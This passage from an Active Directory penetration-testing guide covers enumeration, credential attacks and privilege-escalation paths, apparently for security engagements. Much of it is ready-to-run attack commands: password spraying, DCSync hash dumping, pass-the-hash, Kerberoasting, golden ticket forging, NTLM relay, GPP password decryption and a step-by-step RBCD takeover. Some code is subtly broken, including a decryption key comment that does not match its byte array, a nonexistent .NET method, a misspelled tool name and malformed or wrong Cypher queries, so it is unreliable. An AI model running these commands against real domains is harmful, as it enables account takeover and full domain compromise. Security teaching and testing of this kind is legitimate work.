net group "Domain Admins" /domain   # Group members

# Computer enumeration
net group "Domain Computers" /domain # All computers

# Share enumeration
net share \\TARGET                  # Shares on target
net view \\TARGET                   # Resources on target

# Session enumeration
net session \\TARGET                # Active sessions

# Trust enumeration
netdom trust DOMAIN /domainlist     # Domain trusts

ldapsearch

# Basic query
ldapsearch -x -H ldap://DC_IP \
  -D "CN=admin,CN=Users,DC=domain,DC=com" \
  -w password \
  -b "DC=domain,DC=com" \
  "(objectClass=*)"

# Search for users with specific attributes
ldapsearch -x -H ldap://DC_IP \
  -D "user@domain.com" -w password \
  -b "DC=domain,DC=com" \
  "(objectClass=user)" \
  sAMAccountName mail description servicePrincipalName

# Search for groups
ldapsearch -x -H ldap://DC_IP \
  -D "user@domain.com" -w password \
  -b "DC=domain,DC=com" \
  "(objectClass=group)" \
  cn member

# Search for computers with delegation
ldapsearch -x -H ldap://DC_IP \
  -D "user@domain.com" -w password \
  -b "DC=domain,DC=com" \
  "(userAccountControl:1.2.840.113556.1.4.803:=524288)" \
  cn userAccountControl

# Search over Global Catalog
ldapsearch -x -H ldap://DC_IP:3268 \
  -D "user@domain.com" -w password \
  -b "DC=domain,DC=com" \
  "(objectClass=*)"

CrackMapExec / NetExec

# Basic SMB enumeration
crackmapexec smb DC_IP -u user -p password

# Share enumeration
crackmapexec smb DC_IP -u user -p password --shares

# Group enumeration
crackmapexec smb DC_IP -u user -p password --groups

# User enumeration
crackmapexec smb DC_IP -u user -p password --users

# Local admin check
crackmapexec smb TARGET_RANGE -u user -p password --local-auth

# Password spraying
crackmapexec smb DC_IP -u users.txt -p 'Password123!'

# Kerberoasting
crackmapexec smb DC_IP -u user -p password --kerberoasting

# AS-REP Roasting
crackmapexec smb DC_IP -u user -p password --asreproast

# LAPS enumeration
crackmapexec smb DC_IP -u user -p password --laps

# GPO enumeration
crackmapexec smb DC_IP -u user -p password --gpp-passwords

# NetExec (successor to CME)
netexec smb DC_IP -u user -p password
netexec ldap DC_IP -u user -p password --users --groups --computers

Impacket Suite

# Get NTDS.dit hashes (DCSync)
secretsdump.py -just-dc -no-pass DOMAIN/admin@DC_IP

# Get user hashes
secretsdump.py DOMAIN/user:password@DC_IP

# Pass-the-Hash
psexec.py -hashes LM:NT DOMAIN/user@TARGET

# WMI execution
wmiexec.py -hashes :NT DOMAIN/user@TARGET

# SAMR user enumeration
samrdump.py -no-pass DOMAIN/DC_IP

# Lookupsid (RID cycling)
lookupsid.py -no-pass DOMAIN/DC_IP

# Get TGT (for Kerberoasting)
getTGT.py DOMAIN/username -hashes :NT

# Kerberoasting
getUserSPNs.py -request -dc-ip DC_IP DOMAIN/user:password@DC_IP

# AS-REP Roasting
getuserspy -dc-ip DC_IP DOMAIN/ -usersfile users.txt

# DCSync specific user
secretsdump.py -just-dc-user krbtgt DOMAIN/admin@DC_IP

# NTLM relay
ntlmrelayx.py -t ldap://DC_IP --escalate-user targetuser

# Golden ticket
ticketer.py -nthash KRBTGT_NT_HASH -domain-id 1 -sid DOMAIN_SID \
  -domain DOMAIN.COM evil_user

10. Group Policy Analysis

GPO Structure

GPO Storage Locations:
├── AD Database (NTDS.dit)
│   └── GPO object, links, versions, security filtering
│
└── SYSVOL (File Share)
    └── \\DOMAIN\SYSVOL\DOMAIN\Policies\{GPO-GUID}\
        ├── Machine\
        │   ├── Preferences\
        │   │   ├── Groups\Groups.xml
        │   │   ├── ScheduledTasks\ScheduledTasks.xml
        │   │   ├── Drives\Drives.xml
        │   │   └── Services\Services.xml
        │   └── Registry.pol
        └── User\
            └── Preferences\
                └── (same structure)

GPP Password Decryption

# GPP stores passwords as AES-256 encrypted "cpassword"
# The AES key is PUBLIC and hardcoded:
# 4e9906e8fcb66cc9faf49310620ffee1f496e503f82be10823ef07f03968968

# Using GPP-decrypt (Python)
python3 gpp-decrypt.py "encrypted_cpassword_value"

# Using CrackMapExec
crackmapexec smb DC_IP -u user -p pass --gpp-autopwn

# Manual decryption in PowerShell
$key = [Convert]::FromByteArray(@(
    0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,
    0xfa,0xf4,0x93,0x10,0x62,0x0f,0xee,0xe1,
    0xf4,0x96,0xe5,0x03,0xf8,0x2b,0xe1,0x08,
    0x23,0xef,0x07,0xf0,0x39,0x68,0x96,0x88
))
# Pad the ciphertext to 16-byte boundary
$ciphertext = [Convert]::FromBase64String("ENCRYPTED_VALUE")
# Decrypt using AES-CBC with IV of all zeros

GPO Attack Vectors

Vector Description Required Access
cpassword in GPP Decrypt hardcoded passwords Read SYSVOL
Restricted Groups Forces user into privileged group Modify GPO
Scheduled Tasks Run tasks as SYSTEM/high-priv Modify GPO
Service Preferences Configure services with credentials Modify GPO
Drive Maps Auto-mount shares with credentials Read SYSVOL
Logon Scripts Scripts with embedded credentials Read SYSVOL
GPO ACL Modification Take over GPO if Write access Write DACL on GPO

GPO ACL Abuse

# Check who can modify a GPO
$gpo = Get-GPO -Name "Target GPO"
$acl = Get-Acl "GPO:\$($gpo.DisplayName)"
$acl.Access | Format-Table IdentityReference, AccessRights, AccessControlType

# If Authenticated Users has Write access:
# 1. Modify the GPO to add yourself to Administrators
# 2. Wait for GPUpdate (or force: gpupdate /force)
# 3. Gain elevated access

11. ACL and ACE Analysis

ACL Fundamentals

ACL (Access Control List):
├── ACE 1: UserA → GenericAll on UserB
├── ACE 2: GroupX → WriteDACL on ComputerC
├── ACE 3: Authenticated Users → GenericRead on OU
└── ACE 4: UserD → WriteOwner on GroupE

ACE Types and Attack Relevance

ACE Right Description Attack Potential
GenericAll Full control Critical - Full object takeover
GenericWrite Write properties High - Modify SPN, description, etc.
WriteDACL Modify ACL Critical - Grant self any permission
WriteOwner Change owner Critical - Become owner, then full control
AllExtendedRights Extended rights High - Force change password, etc.
WriteSPN Write SPN attribute High - Kerberoasting target creation
AddMember Add to group High - Join privileged group
ForceChangePassword Reset password High - Take over account
ResetPassword Reset password High - Take over account
ReadLAPSPassword Read LAPS password High - Get local admin password
AllowedToAct RBCD delegation Critical - Constrained delegation abuse
Self Self-modify Medium - Modify own properties
GenericRead Read properties Low - Enumeration only
ValidatedWrite Validated write Low - Limited modification

ACE Inheritance

graph TB
    subgraph "ACL Inheritance Flow"
        Domain["Domain Root"]
        OU1["OU: Users"]
        OU2["OU: Servers"]
        User1["User: alice"]
        User2["User: bob"]
        Server1["Computer: SRV01"]
    end

    Domain -->|"Inherits ACLs"| OU1
    Domain -->|"Inherits ACLs"| OU2
    OU1 -->|"Inherits ACLs"| User1
    OU1 -->|"Inherits ACLs"| User2
    OU2 -->|"Inherits ACLs"| Server1

    style Domain fill:#ffebee
    style OU1 fill:#fff3e0
    style OU2 fill:#fff3e0
    style User1 fill:#e8f5e9
    style User2 fill:#e8f5e9
    style Server1 fill:#e8f5e9

Finding Abusable ACLs

# Using PowerView
# Find all objects where current user has write access
Get-ObjectAcl -SamAccountName target -ResolveIds

# Find all objects with weak ACLs
Get-DomainObjectAcl -ResolveIds -LDAPFilter "(objectClass=*)" |
  Where-Object {
      $_.ActiveDirectoryRights -match "Write|GenericAll|GenericWrite|
                                       Owner|AllExtendedRights|
                                       AddMember|ForceChangePassword"
  }

# Using SharpHound + BloodHound
# BloodHound automatically maps ACL-based attack paths
# Using ldapsearch for ACL enumeration
ldapsearch -x -H ldap://DC_IP \
  -D "user@domain.com" -w password \
  -b "DC=domain,DC=com" \
  "(objectClass=*)" \
  nTSecurityDescriptor

12. Delegation Types

Delegation Overview

graph TB
    subgraph "Delegation Types"
        UD["Unconstrained Delegation"]
        CCD["Constrained Delegation"]
        RBCD["Resource-Based<br/>Constrained Delegation"]
        Proto["Protocol Transition<br/>(S4U)"]
    end

    subgraph "Risk Level"
        UD -->|"🔴 Critical"| R1["Capture TGT of any user"]
        CCD -->|"🟠 High"| R2["Request tickets for specific SPNs"]
        RBCD -->|"🔴 Critical"| R3["Self-service constrained delegation"]
        Proto -->|"🟡 Medium"| R4["Two-phase authentication"]
    end

    style UD fill:#ffebee
    style CCD fill:#fff3e0
    style RBCD fill:#ffebee
    style Proto fill:#fff9c4

Unconstrained Delegation

  • Computer/user can impersonate any user.
  • TGT of impersonated user is cached in memory.
  • UAC flag: TRUSTED_FOR_DELEGATION (524288).
Attack Flow:
1. Identify computer with unconstrained delegation
2. Force a user (preferably DA) to access the computer
   → Use resource sharing, SMB, or other luring techniques
3. User's TGT is cached on the delegating computer
4. Extract TGT from memory (Mimikatz)
5. Use TGT to authenticate as the user
# Find unconstrained delegation targets
Get-ADComputer -Filter {userAccountControl -band 524288} \
  -Properties userAccountControl, dnsHostName

# Using PowerView
Get-DomainComputer -Unconstrained

# Extract TGT from memory (on the target computer)
# Mimikatz:
kerberos::list /extract
kerberos::ptt [TGT_KRB_CRED_FILE]

Constrained Delegation

  • Can request TGS tickets for specific SPNs only.
  • UAC flag: TRUSTED_FOR_DELEGATION + TRUSTED_TO_AUTH_FOR_DELEGATION.
  • SPN list stored in servicePrincipalName attribute.
Attack Flow:
1. Identify account with constrained delegation
2. Check allowed SPNs (e.g., cifs/DC01.domain.com)
3. Request TGS ticket for target SPN using S4U2Self
4. Use TGS to access the service as any user
# Using Impacket
getST.py -spn cifs/DC01.domain.com -impersonate administrator \
  DOMAIN/delegated_user:password

# Using Rubeus
Rubeus.exe asktgs /ticket:TGT_BASE64 /service:cifs/DC01.domain.com

Resource-Based Constrained Delegation (RBCD)

  • Most dangerous delegation type.
  • The resource (target computer) controls delegation.
  • msDS-AllowedToActOnBehalfOfOtherIdentity ACL on the target.
  • Any domain user can create a computer account (default 10).
Attack Flow:
1. Create a new computer account (Powermad)
2. Find a target computer you can write to
   (e.g., you have GenericAll/GenericWrite)
3. Add your computer's security identifier to
   msDS-AllowedToActOnBehalfOfOtherIdentity on the target
4. Request TGS for cifs/target using S4U2Self/S4U2Proxy
5. Access the target computer as any user (including DA)
# Step 1: Create machine account
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount evilpc \
  -Password $(ConvertTo-SecureString 'P@ssw0rd!' -AsPlainText -Force)

# Step 2: Get the new computer's SID
$computer = Get-ADComputer evilpc
$computerSid = $computer.Sid.Value

# Step 3: Add RBCD ACL to target
Import-Module .\RBCD.ps1
Add-DomainComputerAllowedToActOnBehalfOfOtherIdentity \
  -TargetIdentity "TARGETPC" \
  -PrincipalSid $computerSid

# Step 4: Request TGS ticket
# Using Impacket
getST.py -spn cifs/TARGETPC.domain.com \
  -impersonate administrator \
  -dc-ip DC_IP \
  DOMAIN/evilpc$:P@ssw0rd!

# Step 5: Use the ticket
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass TARGETPC.domain.com

Protocol Transition (S4U)

  • S4U2Self: Service requests TGS for itself on behalf of a user.
  • S4U2Proxy: Service requests TGS for another service on behalf of a user.
  • Requires TRUSTED_TO_AUTH_FOR_DELEGATION flag.
sequenceDiagram
    participant U as User
    participant S as Service A
    participant KDC as KDC
    participant T as Service B

    U->>S: Access Service A
    S->>KDC: S4U2Self (request TGS for User)
    KDC-->>S: TGS for User → Service A
    S->>KDC: S4U2Proxy (request TGS for User → Service B)
    KDC-->>S: TGS for User → Service B
    S->>T: Forward request as User

13. BloodHound Attack Paths

Common Attack Paths

Path 1: ACL-Based Escalation

User → GenericAll → Group → MemberOf → Domain Admins
Steps:
1. User has GenericAll on a group
2. User adds themselves to the group
3. Group is a member of Domain Admins
4. User becomes Domain Admin

Path 2: GPO-Based Escalation

User → GenericAll → GPO → GPLink → OU → Contains → Computer → AdminTo
Steps:
1. User has GenericAll on a GPO
2. GPO is linked to an OU containing a computer
3. User modifies GPO to add themselves as local admin
4. GPUpdate applies the policy
5. User has local admin on the computer

Path 3: Delegation-Based Escalation

User → GenericWrite → Computer → AllowedToDelegate → DC
Steps:
1. User has GenericWrite on a computer
2. User enables unconstrained delegation on that computer
3. Force DA to access the computer
4. Extract DA's TGT from memory
5. Authenticate as DA

Path 4: RBCD Attack Path

User → (can create computer) → New Computer → AllowedToAct → Target Computer
Steps:
1. User creates a new computer account
2. User has WriteDACL/GenericAll on target computer
3. User adds new computer to msDS-AllowedToActOnBehalfOfOtherIdentity
4. User requests TGS via S4U2Self/S4U2Proxy
5. User accesses target as any user

Path 5: Session-Based Lateral Movement

User → HasSession → Computer → AdminTo → DC
Steps:
1. User has an active session on a computer
2. That computer has admin rights to the DC
3. Pivot through the session
4. Gain access to the DC

BloodHound Shortest Path Queries

Query Purpose
Shortest Path to Domain Admins Find quickest DA path
Shortest Path to DC Find quickest DC access
Shortest Path to Enterprise Admins Find forest-wide control
All Paths to DA See all possible routes
Attack Paths from Current User User-specific paths

14. Cypher Queries for BloodHound

Basic Queries

Find All Domain Admins

Match p=ShortestPath(
  (n)-[*1..]->(m:Group {name:'DOMAIN ADMINS'})
)
Return p

Find Shortest Path to Domain Admins from a User

Match p=ShortestPath(
  (n:User {name:'USERNAME'})-[*1..]->(m:Group {name:'DOMAIN ADMINS'})
)
Return p

Find All Users with Direct DA Membership

Match (n:User)-[:MemberOf]->(m:Group {name:'DOMAIN ADMINS'})
Return n.name

Advanced Queries

Find Users with GenericAll on Any Object

Match (n)-[:GenericAll]->(m)
Where n.name <> m.name
Return n.name, m.name, m.objectclass

Find Users Who Can Reset Passwords

Match (n:User)-[:CanResetPassword]->(m:User)
Return n.name, m.name

Find Computers with Unconstrained Delegation

Match (n:Computer)-[:AllowedToDelegate]->(m)
Where n.pricedaccess = false
Return n.name, m.name

Find All GPOs That Current User Can Modify

Match (n:User {name:'USERNAME'})-[:GenericAll|GenericWrite|Owns|WriteDACL|WriteOwner]->(g:GPO)
Return g.name

Find Attack Paths via ACL Abuse

Match p=ShortestPath(
  (n:User {name:'USERNAME'})-[:GenericAll|GenericWrite|WriteDACL|WriteOwner|
                               |AddMember|ForceChangePassword|CanResetPassword*1..]->
  (m:Group {name:'DOMAIN ADMINS'})
)
Return p

Find Users with Sessions on Domain Controllers

Match (n:User)-[:HasSession]->(c:Computer)
Where c.name CONTAINS 'DC' OR c.domain == 'DOMAIN.COM'
Return n.name, c.name

Find All Trust Relationships

Match (n:Domain)-[:TrustedBy]->(m:Domain)
Return n.name, m.name

Find Shortest Path Across Trusts

Match p=ShortestPath(
  (n:User {name:'USERNAME@SOURCE.DOMAIN'})-[*1..]->
  (m:Group {name:'DOMAIN ADMINS@TARGET.DOMAIN'})
)
Return p

Find Users Who Can RDP to Any Computer

Match (n:User)-[:CanRDP]->(c:Computer)
Return n.name, c.name

Find Computers Where User is Local Admin

Match (n:User {name:'USERNAME'})-[:AdminTo]->(c:Computer)
Return c.name

Find All Objects Owned by a User

Match (n:User {name:'USERNAME'})-[:Owns]->(m
Return m.name, m.objectclass

Find Users with WriteDACL (Dangerous!)

Match (n)-[:WriteDACL]->(m)
Where n.name <> m.name
Return n.name, m.name, m.objectclass

Find Kerberoasting Targets

Match (n:User)
Where n.serviceprincipalname IS NOT NULL AND n.serviceprincipalname <> []
Return n.name, n.serviceprincipalname

Find AS-REP Roasting Targets

Match (n:User)
Where n.donotrequirepreauth = true
Return n.name

Find LAPS-Enabled Computers with Read Access

Match (n:User)-[:CanReadLAPSPassword]->(c:Computer)
Return n.name, c.name

Find All Paths to Enterprise Admins

Match p=(n:User)-[*1..]->(m:Group {name:'ENTERPRISE ADMINS'})
Where length(p) <= 5
Return p

Find Users Who Can Add Members to High-Value Groups

Match (n:User)-[:AddMember]->(g:Group)
Where g.name CONTAINS 'ADMIN' OR g.name CONTAINS 'OPERATOR'
Return n.name, g.name

Custom Query Templates

Template: Shortest Path from User to Any High-Value Group

Match p=ShortestPath(
  (n:User {name:'USERNAME'})-[*1..]->
  (m:Group)
)
Where m.name CONTAINS 'ADMIN' OR m.name CONTAINS 'DA' OR
      m.name CONTAINS 'EA'
Return p

Template: Find All Privilege Escalation Paths

Match p=(n:User {name:'USERNAME'})-[:GenericAll|GenericWrite|
         WriteDACL|WriteOwner|AddMember|ForceChangePassword|
         CanResetPassword|AllowedToDelegate*1..]->(m)
Where m.objectclass = 'group' AND m.name CONTAINS 'ADMIN'
Return p

Quick Reference: Port and Protocol Summary

Port Protocol Service Attack Relevance
53 DNS Domain Name System Zone transfers, SRV records
88 Kerberos KDC (AS/TGS) Kerberoasting, AS-REP Roasting
135 RPC DCOM, RPC DCOM lateral movement
139 NetBIOS SMB over NetBIOS Null sessions, enumeration
389 LDAP Directory queries User/group/computer enumeration
445 SMB File sharing, admin share Pass-the-Hash, relay attacks
636 LDAPS LDAP over TLS Secure LDAP queries
3268 GC Global Catalog Forest-wide enumeration
3269 GC-S GC over TLS Secure GC queries
464 kpasswd Password change Password manipulation
593 RPC-EP RPC over HTTPS DCOM, WMI
636 LDAPS Secure LDAP Encrypted LDAP
3389 RDP Remote Desktop Remote access, ticket attacks

Quick Reference: High-Value Targets

Target Why It Matters How to Exploit
KRBTGT Golden Ticket DCSync → forge any TGT
Domain Admins Full domain control ACL abuse, GPO, delegation
Enterprise Admins Full forest control Cross-forest trust abuse
DCs NTDS.dit, auth DCSync, Golden Ticket
Accounts with SPNs Kerberoasting Request and crack TGS
No-preauth users AS-REP Roasting Request and crack AS-REP
Unconstrained delegation TGT capture Lure + extract
RBCD targets Self-service delegation Create computer + ACL
GPOs with weak ACLs Policy abuse Modify GPO → privesc
LAPS computers Local admin passwords Read LAPS attribute

Attack Methodology Flow

graph TB
    subgraph "Phase 1: Reconnaissance"
        A1["Port Scan<br/>(nmap)"]
        A2["Service Enumeration<br/>(enum4linux, rpcclient)"]
        A3["DNS Enumeration<br/>(dig, dnsenum)"]
        A4["SMB/LDAP Enumeration<br/>(null session, anonymous)"]
    end

    subgraph "Phase 2: Initial Access"
        B1["Credential Harvesting<br/>(GPP, scripts, shares)"]
        B2["Password Spraying<br/>(crackmapexec)"]
        B3["AS-REP Roasting<br/>(no-preauth users)"]
        B4["Kerberoasting<br/>(SPN users)"]
    end

    subgraph "Phase 3: Enumeration (Authenticated)"
        C1["User/Group Enum<br/>(PowerView, ldapsearch)"]
        C2["Computer Enum<br/>(delegation, OS)"]
        C3["GPO Analysis<br/>(preferences, ACLs)"]
        C4["ACL Analysis<br/>(abusable ACEs)"]
        C5["Trust Enumeration<br/>(cross-domain)"]
    end

    subgraph "Phase 4: Attack Path Discovery"
        D1["BloodHound Collection<br/>(SharpHound)"]
        D2["BloodHound Analysis<br/>(shortest paths)"]
        D3["Cypher Queries<br/>(custom searches)"]
    end

    subgraph "Phase 5: Exploitation"
        E1["ACL Abuse<br/>(GenericAll, WriteDACL)"]
        E2["Delegation Abuse<br/>(RBCD, unconstrained)"]
        E3["GPO Abuse<br/>(modify policy)"]
        E4["DCSync<br/>(extract hashes)"]
        E5["Golden/Silver Ticket<br/>(forge tickets)"]
    end

    A1 --> A2 --> A3 --> A4
    A4 --> B1 --> B2 --> B3 --> B4
    B4 --> C1 --> C2 --> C3 --> C4 --> C5
    C5 --> D1 --> D2 --> D3
    D3 --> E1 --> E2 --> E3 --> E4 --> E5

    style Phase1 fill:#e3f2fd
    style Phase2 fill:#fff3e0
    style Phase3 fill:#e8f5e9
    style Phase4 fill:#f3e5f5
    style Phase5 fill:#ffebee

Summary Checklist

Before Starting an AD Engagement

  • Identify domain name and forest structure
  • Map all domain controllers
  • Check for null session / anonymous access
  • Attempt DNS zone transfer
  • Enumerate open ports and services
  • Check SMB signing status (relay feasibility)

After Gaining Initial Access

  • Enumerate current user’s group memberships
  • Check for SPNs (Kerberoasting targets)
  • Check for no-preauth users (AS-REP Roasting)
  • Run SharpHound for BloodHound collection
  • Enumerate GPOs and check for weak ACLs
  • Check for abusable ACLs (GenericAll, WriteDACL)
  • Enumerate trusts (cross-domain opportunities)
  • Check for delegation configurations
  • Look for LAPS-enabled computers
  • Enumerate shares and accessible resources

BloodHound Analysis

  • Import SharpHound data into BloodHound
  • Run shortest path to Domain Admins
  • Run shortest path to Enterprise Admins
  • Check for ACL-based attack paths
  • Check for delegation-based paths
  • Check for session-based lateral movement
  • Run custom Cypher queries for specific targets
  • Document the attack path for reporting

Note: This guide covers the foundational knowledge for AD enumeration. Each attack technique (Kerberoasting, AS-REP Roasting, DCSync, delegation attacks, etc.) deserves its own dedicated chapter for in-depth exploitation procedures.